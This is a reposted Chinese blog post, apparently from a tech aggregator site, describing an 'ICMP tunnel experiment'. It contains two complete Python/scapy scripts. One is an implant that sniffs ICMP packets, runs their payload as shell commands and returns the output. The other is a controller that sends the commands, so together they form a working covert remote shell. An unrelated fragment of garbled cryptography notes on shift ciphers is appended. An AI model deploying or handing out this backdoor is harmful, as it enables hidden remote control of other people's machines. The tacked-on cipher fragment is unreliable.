栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

2022/05/30

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

2022/05/30

ICMP隧道实验

原文链接
想做一下这个实验,网上也有工具实现,但是想自己编程
工具链接
看原文python代码中用了socket,但是我们用scapy模块实验一下
现在用一下这个师傅的代码,不过有的地方要改一下才能运行。

被控端源代码原理为
监听ICMP包,把data放到到一个变量,命令执行它
控制端源代码原理为
发送ICMP包把命令字符串放到data里面

#!/usr/bin/env python3
#被控端
import os
from scapy.all import *

def main():
    while True:
        # wait for the ICMP message containing the command from the C2 server
        # to be received
        rx = sniff(filter="icmp", count=1)
        # strip down the packet to the payload itself
        var = rx[0][Raw].load.decode('utf-8')
        # run the command and save the result
        print(var)
        res = os.popen(var).read()
        # build the ICMP packet with the result as the payload
        send(IP(dst="XXXXXXXXXX")/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)

if __name__ == "__main__":
    main()
from scapy.all import *
from scapy.layers.inet import ICMP
#控制端

def main():
    while True:
        command = input('# Enter command: ')
        pinger = IP(dst="XXXXXXXXXX")/ICMP(id=0x0001, seq=0x1)/command
        send(pinger)
        rx = sniff(count=1, timeout=2)
        print(rx[0].load.decode('utf-8'))
        #把原来的rx[0][Raw].load.decode('utf-8')
        #凭感觉改成rx[0].load.decode('utf-8')

if __name__ == "__main__":
    main()

我的实验的被控端是kali虚拟机,网络设置为桥接模式。
看一下IP,把它填到控制端代码IP的dst里面
我的控制端是Windows,同理,把它的IP填到被控端代码里面
如图有可能有解码错误,以后研究一下为什么

密码学原理与实践学习

P mathcal{P} P为明文(plaintext)
C mathcal{C} C或者 e mathcal{Large{e}} e为密文(ciphertext)
K mathcal{K} K为密钥(key)
Z mathbb Z Zm表示集合 { 0 , 1 , … , m − 1 } left{begin{matrix}0,1,^ldots,m-1end{matrix}right} {0,1,…,m−1​}

移位密码

在移位密码的集合中
P + K = C mathcal P +mathcal K = mathcal C P+K=C
即 ( P + K ) m o d m (mathcal{P+K}) mod m (P+K)modm等于 C m o d m mathcal C mod m Cmodm
左右减 K mathcal K K
P = C − K mathcal{P = C - K} P=C−K
这样就可以解释当 K mathcal K K作为密钥,加密 P mathcal P P得到的 C mathcal C C可以减 K mathcal K K再 m o d m modm modm可以得到 P mathcal P P

代换密码

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/945753.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号